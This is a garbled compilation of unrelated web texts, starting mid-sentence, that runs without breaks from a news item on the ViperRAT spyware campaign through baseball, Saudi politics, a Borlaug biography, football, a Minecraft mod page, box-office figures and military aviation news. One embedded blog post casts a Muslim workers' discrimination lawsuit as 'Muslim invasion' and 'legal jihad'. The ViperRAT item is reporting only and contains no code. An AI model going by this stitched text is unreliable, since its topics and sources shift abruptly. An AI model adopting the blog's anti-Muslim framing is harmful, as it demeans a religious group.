Israeli soldiers.Besides, almost 9,000 files stolen from compromised devices (roughly 97 percent) that were exfiltrated from compromised devices were identified by Lookout researchers as being highly encrypted images, which were taken using the device camera.However, it's likely the IDF is not the only target.The ViperRAT attack campaign started in July and continued to date, according to Kaspersky researchers.The IDF closely worked with Kaspersky Labs and Lookout to investigate this incident and theorized that Hamas was behind these attacks. However, Lookout researchers have come to doubt that theory.According to Lookout researchers, "Based on tradecraft, the modular structure of code and use of cryptographic protocols [AES and RSA encryption] the actor appears to be quite sophisticated."Researchers say Hamas is not known for sophisticated mobile capabilities, which makes it unlikely they are directly responsible for ViperRAT.The IDF is currently working together with both Lookout and Kaspersky to identify infected targets and protect against further attacks, but there is one simple way to protect against ViperRAT: don't download apps from untrusted third-party sources.We’re just over a week away from opening day, and the anticipation that has been building for months will finally get a little respite. These last few games could help determine who fills the final spot in the rotation and which player(s) get added into the outfield mix. Jon Singleton‘s recent struggles could determine the outfield question mark, while it will be up to the pitchers themselves to decide their fate. There have been some exciting stories involving the Houston Astros, so let’s get you caught up!
On Friday, news broke that former Houston Astros’ minor leaguer David Rollins has been suspended 80 games by Major League Baseball for testing positive for PEDs. Why does this concern Astros fans? Rollins was a Rule 5 draftee, which means that there is a chance that he could return back to the Astros farm system. Typically the rule is that a player must stay on his new team’s 25-man roster for the entire season, or be offered back to his original team.
Of course, there are certain circumstances in which there are ways around that rule, such as injury, or in this case, suspension. Bob Dutton of The News Tribune caught up with Mariners’ GM Jack Zduriencik, who said, “He’ll come off the 40-man roster…He’ll be suspended. What we will do is wait for guidance from MLB on how this will all be handled.” Zduriencik continued, “But he’s our property during the 80-game suspension. He will be allowed to stay here in Arizona. He will be under our supervision, and he can pitch and continue to work with the extended team.”
Moving from someone you may see return to Houston, to something you will definitely see in Houston. Michael Clair reported on Friday for MLB.com that the Houston Astros will be selling Chicken and Waffle cones at their home games this season.
New at Astros games: Chicken & Waffle Cone w/mashed potatoes & honey mustard drizzle pic.twitter.com/y2vDEjjnjm — Darren Rovell (@darrenrovell) March 27, 2015
You’ve just gained five pounds by looking at that picture.
Finally, Scylla Lopez reported yesterday that someone mistakenly asked Houston Astros catcher Jason Castro to prom by putting post-it notes on his car. Castro assumes that the invite was intended for his neighbor. Regardless, someone should take credit and bring Castro to prom.
On Saturday, the Houston Astros face the Miami Marlins at 12:05 CST. Roberto Hernandez will be on the hill in what could be his final appearance of the spring.
In case you’ve missed some of our recent articles here on Climbing Tal’s Hill, here are some good ones:
Correa is Whetting Our Appetites – Thomas O’Banion
Rasmus is Having an Odd Spring Statistically – Jason BurkePrince Mohammed bin Salman | Photo Credit: AP
Riyadh: Saudi Arabia's crown prince vowed to "pursue terrorists until they are wiped from the face of the earth" as officials from 40 Muslim countries gathered Sunday in the first meeting of an Islamic counter-terrorism alliance.
ALSO READ: Iranian President declares end of Islamic State
"In past years, terrorism has been functioning in all of our countries... with no coordination" among national authorities, Prince Mohammed bin Salman, who is also Saudi defence minister, said in his keynote address to the gathering in Riyadh.
"This ends today, with this alliance."
Did Saudi Arabia really behead a citizen female robot?
The summit is the first meeting of defence ministers and other senior officials from the Islamic Military Counter Terrorism Coalition, which officially counts 41 countries and identifies as a "pan-Islamic unified front" against violent extremism.
The alliance was announced in 2015 under the auspices of Prince Mohammed, whose rapid ascent since his appointment as heir to the throne in June has shaken the political scene across the region.
Sunday's meeting comes as several military coalitions, including key Saudi ally the United States, battle to push the Islamic State group from its last remaining bastions in Iraq and Syria.
The alliance groups largely, although not exclusively, Sunni-majority or Sunni-ruled countries.
It excludes Saudi Arabia's arch-rival, Shiite-dominated Iran, as well as Syria and Iraq, whose leaders have close ties to Tehran.
Sunday's meeting coincides with an escalation in tensions between Riyadh and Tehran, particularly over wars in Syria and Yemen and the political structure of multi-confessional Lebanon.
Saudi Arabia accuses Iran of supporting armed groups across the Middle East, including Lebanon's Shiite Hezbollah and Yemen's Huthi rebels.
"The pillar of this coalition is inclusion," said Saudi General Abdulelah al-Saleh, the alliance's acting secretary general, playing down the exclusion of the three countries.
"Our common enemy is terrorism, not any religion, sect or race."
The alliance meeting in Riyadh brings together Muslim or Muslim-majority nations including Egypt, the United Arab Emirates, Bahrain, Afghanistan, Uganda, Somalia, Mauritania, Lebanon, Libya, Yemen and Turkey.
'Distorted image of Islam'
Retired Pakistani general Raheel Sharif, who has been appointed commander-in-chief, also insisted that the coalition was not against any religion or state.
The alliance aims to "mobilise and coordinate the use of resources, facilitate the exchange of information and help member countries build their own counter-terrorism capacity," Sharif said.
While the alliance officially includes Qatar, which is the target of a six-month boycott led by Saudi Arabia, organisers in Riyadh said no Qatari officials were present at the meeting.
Qatar's flag was also absent.
Saudi Arabia, the UAE, Egypt and Bahrain abruptly cut diplomatic and trade ties with Qatar in June, accusing the emirate of being too close to Iran and supporting Islamist extremism.
Doha denies the allegations.
Egypt, which sent a military official and not its defence minister to Sunday's meeting, is reeling from a Friday attack on a mosque that killed more than 300 people during prayer time.
While IS has not claimed responsibility, Egyptian authorities say the organisation is the main suspect as the mosque is associated with followers of the mystical Sufi branch of Sunni Islam, whom IS has branded heretics.
Prince Mohammed said Friday's "painful event" was a reminder of the "danger of terrorism and extremism".
"Beyond the killing of innocent people and the spread of hatred, terrorism and extremism distort the image of our religion," he said.
Since his sudden appointment as crown prince, Prince Mohammed has moved to consolidate power, announcing crackdowns on both terrorism and corruption.
A corruption purge saw around 200 members of the Saudi elite including princes, ministers and business tycoons arrested or sacked earlier this month.Are you letting your kids watch Sunday's presidential debate?
In this Combination of pictures taken on September 26, 2016, Republican nominee Donald Trump and Democratic nominee Hillary Clinton face off during the first presidential debate at Hofstra University in Hempstead, New York. less In this Combination of pictures taken on September 26, 2016, Republican nominee Donald Trump and Democratic nominee Hillary Clinton face off during the first presidential debate at Hofstra University in... more Photo: PAUL J. RICHARDS/AFP/Getty Images Photo: PAUL J. RICHARDS/AFP/Getty Images Image 1 of / 1 Caption Close Are you letting your kids watch Sunday's presidential debate? 1 / 1 Back to Gallery
In the 2016 presidential race, one candidate has stooped to a new low of freely spewing grotesque insults toward women, disabled people, veterans, Mexicans and Muslims. GOP nominee Donald Trump has made countless pointed remarks that are mean-spirited, hate-filled, shocking, sexist, and rude.
And on Friday, video footage surfaced of him bragging about using his celebrity to seduce married women and boasting of grabbing beautiful women "by the p---y."
Word on the street is that Trump is planning to get nasty in Sunday night's showdown with Hillary Clinton and zero in on former President Bill Clinton's extra-marital affairs.
All of this locker room–style discourse and playground-like bullying leads parents to wonder whether the second debate is appropriate for their kids. They fear Trump's behavior sets a bad example and teaches them them prejudice and bias. They worry their children are metabolizing his hate-filled messages and insults toward women.
On Facebook and Twitter, at dinner parties, and through email, parents are asking their peers, "Should I let my kids watch the debate?"
Honest question: will tonight's debate be appropriate for our kids to watch? — Fareed Mosavat (@far33d) October 9, 2016
We posed this question to our audience and found that many parents with younger children are keeping the TV off.
"I have no interest in letting my 10-year-old daughter watch how women are treated by sexist bullies," writes Deidre Duncan on the SFGATE Facebook page. "Additionally he is hysterical most of the time- not a good example in any way."
S.F. mom Sarah Donelson shared in an email that her 8-year-old is frightened by Trump's behavior. "She hides in her room at her dad's when he watches," Donelson writes. "Your kids might be different, [but] for her she is watching someone being abusive and cruel. If she were 12, I would with significant parental involvement. All kids are different though - I'm sure you know what is best for yours."
But other families, especially those with teenagers, will be watching the debate together and see it as a teaching moment.
"I think it's important for her to hear what comes out of Trump's mouth instead of just thinking he is horrible and disgusting because that is what she hears people say," Annie Sullivan shared on Facebook. "Also, to be a part of history being made, watching a woman on her way to becoming the first female president of the USA!"
S.F. mom Anne Crawford shared in an email that for her daughter watching the debate is about supporting Clinton."My 16-year old wouldn't miss it for the world. She feels so powerless that she's old enough to understand the issues but not old enough to vote," Crawford wrote. "She actually made a donation to Hillary Clinton's campaign."
She added: "I'm pretty sure I wouldn't let my kids watch if they were under middle school age."
One reader points out it's unfortunate this question is even being posed, "It's a sad day in America when a parent has to worry about their child watching the PRESIDENTAL DEBATE because we're worried about what ONE of them is going to say, how dirty is he going to get?" writes Vic Bathe on the SFGATE Facebook page. "It's a disgrace!"Norman Ernest Borlaug (; March 25, 1914 – September 12, 2009)[3] was an American agronomist and humanitarian who led initiatives worldwide that contributed to the extensive increases in agricultural production termed the Green Revolution. Borlaug was awarded multiple honors for his work, including the Nobel Peace Prize, the Presidential Medal of Freedom and the Congressional Gold Medal.
Borlaug received his B.S. in forestry in 1937 and Ph.D. in plant pathology and genetics from the University of Minnesota in 1942. He took up an agricultural research position in Mexico, where he developed semi-dwarf, high-yield, disease-resistant wheat varieties.[1][2] During the mid-20th century, Borlaug led the introduction of these high-yielding varieties combined with modern agricultural production techniques to Mexico, Pakistan, and India. As a result, Mexico became a net exporter of wheat by 1963. Between 1965 and 1970, wheat yields nearly doubled in Pakistan and India, greatly improving the food security in those nations.[4]
Borlaug was often called "the father of the Green Revolution",[5][6] and is credited with saving over a billion people worldwide from starvation.[7][8][9][10] According to Jan Douglas, executive assistant to the president of the World Food Prize Foundation, the source of this number is Gregg Easterbrook's 1997 article "Forgotten Benefactor of Humanity." The article states that the "form of agriculture that Borlaug preaches may have prevented a billion deaths."[11] He was awarded the Nobel Peace Prize in 1970 in recognition of his contributions to world peace through increasing food supply.
Later in his life, he helped apply these methods of increasing food production in Asia and Africa.[12]
Early life, education and family [ edit ]
Borlaug was the great-grandchild of Norwegian immigrants. Ole Olson Dybevig and Solveig Thomasdatter Rinde, of Feios, a small village in Vik kommune, Sogn og Fjordane, Norway, emigrated to Dane County, Wisconsin in 1854.[citation needed] The family eventually moved to the small Norwegian-American community of Saude, near Cresco, Iowa. There they were members of Saude Lutheran Church, where Norman was both baptized and confirmed.
Borlaug was born to Henry Oliver (1889–1971) and Clara (Vaala) Borlaug (1888–1972) on his grandparents' farm in Saude in 1914, the first of four children. His three sisters were Palma Lillian (Behrens; 1916–2004), Charlotte (Culbert; b. 1919) and Helen (b. 1921). From age seven to nineteen, he worked on the 106-acre (43 ha) family farm west of Protivin, Iowa, fishing, hunting, and raising corn, oats, timothy-grass, cattle, pigs and chickens. He attended the one-teacher, one-room New Oregon #8 rural school in Howard County, through eighth grade. Today, the school building, built in 1865, is owned by the Norman Borlaug Heritage Foundation as part of "Project Borlaug Legacy".[13] Borlaug was a member of the football, baseball and wrestling teams at Cresco High School, where his wrestling coach, Dave Barthelma, continually encouraged him to "give 105%".[14]
Borlaug attributed his decision to leave the farm and pursue further education to his grandfather's urgent encouragement to learn: Nels Olson Borlaug (1859–1935) once told him, "you're wiser to fill your head now if you want to fill your belly later on."[15] When Borlaug applied for admission to the University of Minnesota in 1933, he failed its entrance exam, but was accepted at the school's newly created two-year General College. After two quarters, he transferred to the College of Agriculture's forestry program. As a member of University of Minnesota's varsity wrestling team, Borlaug reached the Big Ten semifinals, and promoted the sport to Minnesota high schools in exhibition matches all around the state.
Wrestling taught me some valuable lessons... I always figured I could hold my own against the best in the world. It made me tough. Many times, I drew on that strength. It's an inappropriate crutch perhaps, but that's the way I'm made.[16]
To finance his studies, Borlaug put his education on hold periodically to earn some income, as he did in 1935 as a leader in the Civilian Conservation Corps, working with the unemployed on Federal projects. Many of the people who worked for him were starving. He later recalled, "I saw how food changed them... All of this left scars on me".[17] From 1935 to 1938, before and after receiving his bachelor of science in forestry in 1937, Borlaug worked for the United States Forest Service at stations in Massachusetts and Idaho. He spent one summer in the middle fork of Idaho's Salmon River, the most isolated piece of wilderness in the nation at that time.[17]
In the last months of his undergraduate education, Borlaug attended a Sigma Xi lecture by Elvin Charles Stakman, a professor and soon-to-be head of the plant pathology group |
says the U.S. mainland is now within striking range of his nuclear weapons.
That sounds like a threat.
Joel Wit, a former U.S. nuclear negotiator with North Korea, says he's concerned, but not worried. "Because — despite this success — we’re not within striking range of their nuclear weapons."
The threat to the U.S. mainland does not yet exist; there's no evidence North Korea has yet been able to miniaturize its nuclear weapons to fit into a warhead.
It's also extremely unlikely they could get a submarine within range of the U.S. coast: The new North Korean missile only appears to have a range of about 600 miles. But Wit says there is cause for concern, "because this is just one more step in terms of steady progress that North Korea is making in building nuclear weapons and building missiles to deliver them.”
“I’m concerned, and I think it should be ongoing concern for everyone.” The biggest concern, says Wit, is that North Korea is working to develop a working Intercontinental Ballistic Missile, or ICBM. “If they get that thing working then they will be able to reach the United States, and that, of course, is a serious concern for all of us.”
He does not expect North Korea would use weapons like these aggressively, but he says they would seriously complicate relations. He says, for example, North Korea could threaten other countries in order to secure its objectives.
It could also complicate U.S. thinking when it comes to its assurances to allies like Japan and South Korea to defend them. Up to now, those promises were relatively simple, he says. But if North Korea could threaten the U.S. mainland, then that’s a whole different calculation.
Wit concludes, however, by saying he has some understanding of the North Korean concerns. The United States would like to see a unified Korea that’s democratic, “and if you’re North Korean, that would make you fairly nervous.”
This story originally appeared on GlobalPost and PRI.org. Its content was created separately to USA TODAY.
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Read or Share this story: http://usat.ly/2buFBilFormer Chelsea winger Paul Canoville believes Oscar’s best role could be in the centre of the Blues’ midfield.
The Brazilian has been played out wide by Guus Hiddink, while the manager’s preferred midfield pairing of John Mikel Obi and Nemanja Matic has received plenty of criticism.
And Canoville, a crowd favourite during a five-year spell at Stamford Bridge in the 1980s, says Oscar is far less effective on the flank and could bring much-needed dynamism to the centre of the pitch.
“I like both Matic and Mikel, but I think it’s either one or the other,” Canoville told West London Sport. “It’s a tough call between the two, and you can argue for either.
“Playing one of them would give Oscar the chance to get box to box. He is not a wide player and needs to be playing centrally.
“In pre-season, he was doing the lot – picking up the ball deep, running, making things happen.
“Of the two, Mikel probably deserves to play at the moment, but although Matic has not played anywhere near the level he can do, he is still a fine player. When he came he was great but has gone off the boil.
“But he could be the ideal partner for Oscar, who I think could play in the deeper role and give a better balance to the side.”
Finding Fabregas
That would leave Cesc Fabregas, who partnered Matic in midfield for much of last season, in the number 10 role Hiddink believes gets the best out of the Spaniard.
Fabregas attracted criticism during the first part of the season but his form has improved since Hiddink took charge.
“Fabregas has started to buck his ideas up and that’s vital because can be such an influential player,” Canoville said.
“He is far more dangerous further forward, doing what he can with the ball and making things happen.
“He’s wasted when he’s too deep or playing out wide. The freedom suits him.”
Ruben not quite at the ready
Many fans have called for Ruben Loftus-Cheek to be given a run in the side, particularly in light of Matic’s laboured performances.
But Canoville believes exciting youngsters such as Loftus-Cheek and Kenedy should be given time to develop.
“Ruben Loftus-Cheek has done very well and has impressed me,” he said.
“Everyone is chatting about him because he is so talented. But in the situation we are in, now is not the time to give him a long run.
“His chance will come to show what he can do, but that may be towards the end of the season.
“There are too many important games at the moment and we need to stay in contention as long as we can. We need stability and experience in the side.
“I love the way Kenedy plays too. He is so exciting to watch and he plays without fear.
“The youngsters will get their chance but now is the time for experience.”This mod is no longer being maintained! No more feature requests or bug reports will be accepted!
About
This mod allows island creation for servers running Skyblock packs on 1.10.2 or above (e.g. Sky Factory 3, Project Ozone Lite, All The Sky, SkyExchange, etc.)
I know there are simliar mods out there, but I specially made this mod for a streamer at first for some additional features that other mods don't have (i.e. various different commands). Then I decided to release this mod publicly for general use.
Features
Supports generating Garden of Glass islands, single tree islands, or even single grass block! (More island types coming soon along with custom islands)
Easy-to-use commands, supports command blocks
Configurable amount of islands to control your server easily
Joining your friend's island and play together! (Made for community servers)
100% Forge mod, no SpongeForge or Spigot needed
Only required to be installed on server side, while installing this mod on client side is optional but you're able to use this mod with "Open to LAN" in singleplayer
Commands
/skyislands_create <name> - Creates an island, operators only
/skyislands_delete <name> - Removes an island, operators only
/skyislands_join <name> - Join an island
/skyislands_rename <old name> <new name> - Renames an island, operators only
/skyislands_setspawn <name> [x] [y] [z] - Set a new island spawn
/skyislands_list - Gives you a list of islands
/skyislands_save - Saves islands to a file for backups, operators only
Source Code & License
This mod is Open-Source.
You can find the source code on GitHub.
This mod is under the GNU Lesser General Public License v3.0 (LGPLv3).
Using this mod in modpacks
You are allowed to use this mod in any modpacks you would like.'It' Devours Competition with Record-Breaking $123 Million Opening
September 10, 2017
UPDATE: Warner Bros. has updated their estimate for It, reporting a $123.1 million opening for the horror film, expanding on the records set and detailed in our weekend recap below.
WEEKEND RECAP: With a monster, $117 million opening weekend Warner Bros. and New Line's It has delivered a record-breaking opening, breathing a little life back into the slumping domestic box office. The film has claimed the largest September opening, largest Fall opening, the largest opening for an R-rated horror film, not to mention the largest opening weekend for a horror film of any MPAA rating, and tops Open Road's new release Home Again in second place by nearly $110 million. Overall, the film accounted for more than 75% of the combined gross for the weekend's top twelve, and we've only just begun.
With an estimated $117 million, WB and New Line's It, an adaptation of the acclaimed Stephen King novel, claimed the weekend's #1 spot with ease, besting Open Road's new release of Home Again in second place by nearly $110 million, the fifth largest gap between first and second place all-time. The film also dusted the previous opening weekend record for an R-rated horror film, more than doubling Paranormal Activity 3's previous record of $52.5 million. In fact, It is already the fifth highest grossing R-rated horror film all-time after just three days in release.
The horror film's debut was the widest opening ever for an R-rated film and as such delivered the second largest opening for an R-rated movie behind Deadpool's $132.4 million opening last February. Additionally, the previous opening weekend record for September was held by Hotel Transylvania 2 with $48.5 million and the previous Fall opening weekend record was Gravity's $55.7 million, neither of which stood a chance against It and combined don't even come within $10 million.
It should be mentioned that rival estimates put It's opening over $120 million and some closer to $125 million. One obvious reason for the disparity has to do with Hurricane Irma hitting Florida this weekend where ~175 theaters are closed. The state typically represents 5.5-6.5% of the domestic gross each weekend.
It received a "B+" CinemaScore, which, for comparison, is below the "A-" the first two Conjuring films received and ahead of both Annabelle features. The audience was split nearly down the middle, playing 51% female vs. 49% male with 10% of the audience under the age of 18, of which scored the film an "A-". Overall 65% of the audience was over the age of 25.
Internationally, It brought in an estimated $62 million from 46 markets for a $179 million global debut. The overseas numbers include the largest opening weekend for a horror film in the U.K. ($12.3m), Russia ($6.7m), Australia ($5.9m), Brazil ($5.6m), Netherlands ($1.4m) and Poland ($1.15m). Upcoming releases include openings in The next key markets to open include Sweden and Mexico next week followed by France (Sep 20), Argentina (Sep 21), Germany (Sep 28) and Italy (Oct 19).
In second place is Open Road's Home Again, which brought in an estimated $9 million from 2,940 locations. The debut is just a shade ahead of Mojo's pre-weekend comparison to Bridget Jones's Baby, which opened with $8.6 million last September. Home Again scored a "B" CinemaScore from opening day audiences.
Lionsgate's The Hitman's Bodyguard finished in third with an estimated $4.85 million, down 54% from last weekend. The film's domestic cume now stands just shy of $65 million.
Warner Bros. and New Line also claimed fourth place on this weekend's chart with Annabelle: Creation now in its fifth week of release. Dropping 47% this weekend the film delivered an estimated $4 million as its domestic cume climbs to $96.2 million, soon to become the only August 2017 release to cross $100 million domestically.
Rounding out the top five is the Weinstein Co.'s Wind River. The film dropped 49% compared to last weekend, finishing with an estimated $3.2 million for a domestic cume topping $25 million.
Elsewhere, Spider-Man: Homecoming remains in the top ten in its tenth weekend in release with a domestic cume that now totals $327.7 million. The film's international cume got a big bump this weekend as it opened in China with an estimated $70.8 million, pushing its international total to $495.3 million. The film's worldwide total now stands at $823 million, making it the second largest Spider-Man release all-time behind Spider-Man 3 which finished with $890.9 million globally back in 2007.
Speaking of international totals, Universal and Illumination's Despicable Me 3 entered the weekend as the third 2017 release to top $1 billion worldwide. The film added another $6.2 million to that international total as its current worldwide cume reaches $1.006 billion, the third largest worldwide release of 2017.
WB's Wonder Woman brought in an estimated $662k this weekend and it has now crossed $410 million domestically, enough to become the fifth largest superhero release of all-time, pushing Iron Man 3 to sixth with $409 million.
In limited release IFC's Rebel in the Rye opened with $44,280 from four theaters ($11,070 PTA); China Lion's Twenty Two brought in an estimated $20k from 11 locations ($1,818 PTA); and The Orchard's Trophy opened with $3,474 in one theater.
Next weekend will be interesting as Darren Aronofsky's thriller mother! hits ~2,500 theaters as both it and It hope to reside alongside one another in harmony. Lionsgate will release American Assassin in over 3,000 locations and Open Road will debut All I See is You.
You can check out all of this weekend's estimated results right here and we'll be updating our charts with weekend actuals on Monday afternoon.
Discuss this story with fellow Box Office Mojo fans on Facebook. On Twitter, follow us at @boxofficemojo and author Brad Brevet at @bradbrevet.More sharia, more legal jihad, and no end of the Muslim invasion in sight. Source: Suit: UPS barred Muslims workers from praying at Mendota Heights. facility and fired them – StarTribune.com
The global shipping company United Parcel Service and an Edina staffing agency are being sued for allegedly barring Muslim workers from fulfilling their prayer requirements at the UPS warehouse facility in Mendota Heights and then firing them.
The Minnesota chapter of the Council on American-Islamic Relations (CAIR-MN) is representing the plaintiffs in the lawsuit filed last week in Hennepin County District Court against UPS and Doherty Staffing Solutions on behalf of two line workers who were fired in June 2014.
Abdullahi Dahir and Abdifatah Hassan said they had been allowed to pray as needed while at work until UPS hired a new operations manager. That manager refused to let Muslim employees pray outside of regular break times and also warned them against using trips to the bathroom to fulfill their need to pray five times a day, the suit contends. Those who didn’t comply were fired, the suit alleges.
“There is no lawful reason for any company to stop Muslims from praying when previously that company had allowed such prayers in a manner that did not impact the workplace,” said CAIR-MN’s civil rights director Amir Malik, one of the plaintiffs’ attorneys. UPS and Doherty Staffing Solutions withdrew “this reasonable accommodation … in order to get rid of the Muslim employees,” Malik said in a statement announcing the suit.
In response to the suit, UPS said in a statement that it joined with Doherty in a thorough investigation “and found no evidence to support these allegations.” When contacted Monday, a Doherty representative made no one available to respond and declined to take a message.
During a UPS employee meeting, the suit reads, operations manager Scott Klein asked for a show of hands from anyone needing to pray at work. Most Muslim workers raised their hands. Then, according to the lawsuit, “Mr. Klein stated that he wanted to replace all of the employees who had raised their hands.”
Despite further talks between management and the plaintiffs, the Muslim workers were barred from meeting their prayer needs, sent home and told not to return if they insisted on praying at the required times.
“Faced with losing his job or losing his religion,” CAIR-MN said in its statement announcing the suit, “Mr. Hassan and other Somali Muslim workers were forced out of their employment at the UPS facility.”
Doherty is a defendant, the statement explained, because the agency “abdicated [its] role as a staffing agency and let the Muslims be terminated.”
The suit claims violations of the Minnesota Human Rights Act, and it seeks an unspecified amount of damages for alleged discrimination based on religious affiliation, race and national origin.
Paul Walsh of the Star Tribune fails to inform readers that CAIR is a terror-linked, unindicted co-conspirator to the largest terror financing conviction in U.S. history, with numerous of its leaders jailed, and named a terrorist group by the UAE. All in the archives.TOKYO — One of this country’s largest newspapers took the occasion of the Founding of Japan holiday earlier this week to publish a column by a noted author who advocates apartheid. Japan should solve the problem of a dwindling population by bringing in foreign workers, she wrote, but it should make sure that they live segregated from the natives.
The author of the column, Ms. Ayako Sono, is a well-known novelist in Japan and also a close advisor of Shinzo Abe, the prime minister, who has been criticized here and abroad for appointing Nazi sympathizers and racists to his cabinet.
Ms. Sono was also a member of the Education Rebuilding Implementation Council under the prime minister’s office, where she promoted the idea that pregnant women should quit work.
Just another of Prime Minister Abe’s dubious friends, some might say, but one who definitely has his attention.
The article in question appeared in Sankei Shimbun’s February 11 edition. Sankei is considered Japan’s fourth largest daily with a circulation (for the printed edition) of 1.6 million copies.
The column appeared with the headline: “Labor Shortage and Immigrants: Allow them in while maintaining ‘proper distance.’”
It opens with a reference to ISIS and how hard it is to understand the culture and feelings of other races. It then notes that the number of Japan’s youth keep going down in comparison to the rest of the population and Japan needs labor, especially when it comes to taking care of its growing elderly population. The author suggests that there’s not a need for rigid special training to let foreign workers handle taking care of the elderly, and Japan should admit them.
So far, so good.
But then: “At the same time, we must make a system which strictly keeps immigrants in their legal status.” Sono adds, “It may seem contradictory but it’s almost an impossible task to understand foreigners if you share living space with them.”
The author points out that 20 or 30 years previously, after learning about the “real state” of South Africa, she became convinced that white people, Asians, and blacks should all live separately.
To make her point she cites the example of “a condominium in Johannesburg where black people started living after apartheid was abolished.” She goes on to explain that “black people are basically believers in big families,” and says the blacks took over the condominium by bringing all their family members, ruining the facilities, until eventually all the white people left.
Sono gave no indication where this happened exactly, or when. The name of the condominium, and any details that could verify the anecdote were lacking. But she concludes on a definitive note: “I have said since, ‘Humans can work, research and exercise together. But it is better to keep the living space [residence] separate.’”
The Daily Beast attempted to contact the author, for clarification, through Sankei, the publishers of her works, and the Cabinet Public Relations Office, Cabinet Secretariat. No reply was forthcoming and Sankei refused to provide any contact details or pass on the questions.
Sono is not a stranger to controversy. Her argument that women should quit their jobs as soon as they have children and her opposition to maternity leave would seem to clash with Abe’s much-vaunted gender equality push known as “womenomics”.
Sono’s apartheid column, however, has drawn a considerable amount of controversy even in Abe’s Japan, where casual racism seems to be condoned by the establishment.
A Twitter aggregation web site had over 110,000 views on the story the day of publication, even though it was a holiday. Comments were primarily negative along the lines of: “At a loss for words. I have doubts about the good conscience of editors that would print up (this column) and scatter it around. To take South Africa under apartheid as an example and say (races) should be separated….”
We asked Sankei about the column, pointing out that in its own publicly posted “ethical prospectus” it vowed to “seriously respect human rights, correct mistaken reporting, provide an opportunity for counter arguments and take proper measures” in all aspects of the newspaper production.
Sankei replied to The Daily Beast: “Ayako Sono’s column is a regular feature and we published it as her opinion. It’s only natural that there should be many different opinions about it.”
Sankei is one of Japan’s most conservative newspapers and reportedly closely aligned with the Abe administration. It has been at the forefront of nationalist media in Japan that seeks to whitewash or minimize the history of the country’s war crimes.
One of the early Sankei company presidents wrote in his memoirs about his own involvement recruiting women for sexual slavery under the military during WWII; the newspaper seems to omit the memoir from all its reporting.
Last year the paper, apologized for running an anti-Semitic ad for books that claimed that Jewish people were behind the March 2011 earthquake and tsunami, and that the holocaust was a fabrication used to create the state of Israel.
Like many newspapers in Japan, the company’s sharon (official company editorial viewpoint) and the good work its reporters do, don’t always match up. Sankei’s news teams did some very solid and hard-hitting investigative journalism after the 3/11 disaster and the nuclear meltdown. But the management and the reporters appear to have different priorities.
The column did not hugely surprise Jeff Kingston, the author of Contemporary Japan. “It was published on National Foundation day, a time to celebrate the glorious and inglorious past where myth and fiction [in Japan] are intertwined,” he told The Daily Beast.
By publishing this paean to apartheid, Sankei has yet again “given a prominent platform to the country’s lunatic fringe,” he said, adding that one can only cringe at the thought of what advice Sono gives to Abe behind closed doors about educational reform, and what other clocks she wants to turn the hands back on. “Abe has repeatedly called for Japan to bolster immigration,” says Kingston, “but migrants will now have good reason for second thoughts.”
And, yes, some have misgivings already.
A 30-year-old South African woman working in Japan in communications, when shown the column, shook her head and said, “I already deal with enough subtle racism at work. If a major newspaper is going to print this kind of bullshit, they empower all the racists in the country. I’ve almost had enough. Maybe we all should leave and just leave Japan to rot in its own xenophobic dementia. If the sexism here is as bad as the racism, no wonder women don’t want to give birth—it seems hopeless.”
It is indeed a sad time in Japan when neither the prime minister nor one of its leading newspapers feels that there is any need to condemn racism at all, even when it involves individuals they closely work with. Maybe that’s because it gets votes and sells newspapers? Or maybe they share the same views? Perhaps, a bit of both. But if Japan needs to attract foreign labor in order to survive, it’s a problem that the country will have to deal with—and building ghettos won’t be the answer.January: USAF F-22 Raptor grounded due to suspected toxins
The US Air Force’s entire fleet of F-22 Raptor aircraft was grounded in 2011 due to suspected toxins in the cockpit, a report compiled by Pentagon chief operational tester Michael Gilmore revealed.
The report cited "suspected contamination problems associated with the aircraft environmental control system and associated onboard oxygen generation system (OBOGS)" as the reason for the grounding, triggered by a crash in January 2011 that barred the aircraft from flying higher than 25,000ft.
The US Air Force’s other fifth-generation aircraft, the F-35, edged closer to operational fielding with the successful completion of its first night flight after taking off from Edwards Air Force Base in California, US.
February: Japan may halt F-35 purchase over price rise
A quiet month for air force news was capped by the revelation that Japan may be forced to halt purchases of the F-35 fighter if the US raised its price tag.
In a letter addressed to the Pentagon, Japanese Defence Ministry bureau of finance and equipment chief Hideshi Tokuchi said: "I do hope that you share the view that a price increase is not an option for us."
Japan had originally planned to procure four F-35 jets in April 2012, with each aircraft set to cost between $111.1m and £123.6m.
However the US defense budget for 2013 placed the price of the aircraft for the US military at approximately $153m.
March: Lockheed tests USAF Space Fence radar prototype
A lack of federal funding forced the Pentagon to mothball a laser-equipped missile defence aircraft at Arizona Air Force Base, but the US Missile Defense Agency confirmed that research into anti-missile lasers would continue.
MDA spokeswoman Debra Christman told the Los Angeles Times: "We didn’t have the funding to continue flying the aircraft."
Elsewhere, the USAF confirmed that a prototype Space Fence, designed to track orbiting satellites using ground-based radars, had entered testing.
The Lockheed Martin-developed system has been tasked to track orbiting satellites and debris, with the information used to protect US interests in geostationary orbit.
April: USAF fails to determine cause of F-22 Raptor pilot episodes
The USAF’s Scientific Advisory Board failed to determine the cause of physiological events experienced by pilots flying F-22 Raptor aircraft that prevented the aircraft from flying above 25,000ft.
Pilots reported hypoxia-like symptoms while flying the aircraft, but a seven-month study of the F-22’s onboard oxygen generation symptoms did not yield any significant reason why, with ten of 14 incidents remaining unexplained.
In other news, the UK Royal Air Force’s first F-35 completed its inaugural flight from Lockheed Martin’s Fort Worth facility, marking progress towards a series of checkout flights prior to being accepted by the UK MoD.
May: US military aircraft feature counterfeit Chinese parts
Counterfeit Chinese electronic parts were revealed to have been used in the construction of US military equipment, a Senate Armed Services Committee report revealed.
An investigation uncovered 1,800 instances of aircraft using counterfeit parts, with Chinese suppliers responsible for more than 70% of an estimated one million suspected components.
In other news, the UK coalition government completed a sensational U-turn, reverting to the F-35 variant originally chosen by the Labour Party.
Prime Minister David Cameron had intended to switch from the F-35B to F-35C to be used aboard the nation’s aircraft carriers, but spiraling costs and delays forced the decision to be reverted. The U-turn is estimated to have cost the UK £100m.
June: Turkish F-4 fighter shot down by Syria, PM confirms
Turkey Prime Minister Reccep Tayyip Frdogan confirmed that a Turkish Air Force F-4 Phantom II fighter had been shot down by Syrian security forces, sparking tensions as the conflict in Syria continued to escalate.
Turkish Foreign Minister Ahmet Davutoglu claimed the fighter was flying inside international airspace at the time of the shooting, a claim rebuked by Syria.
Elsewhere, Russian Prime Minister Dmitry Medvedev confirmed that the country’s plans to develop a fifth-generation strategic bomber would move ahead, citing the need for an upgrade to Russia’s strategic bomber fleet.
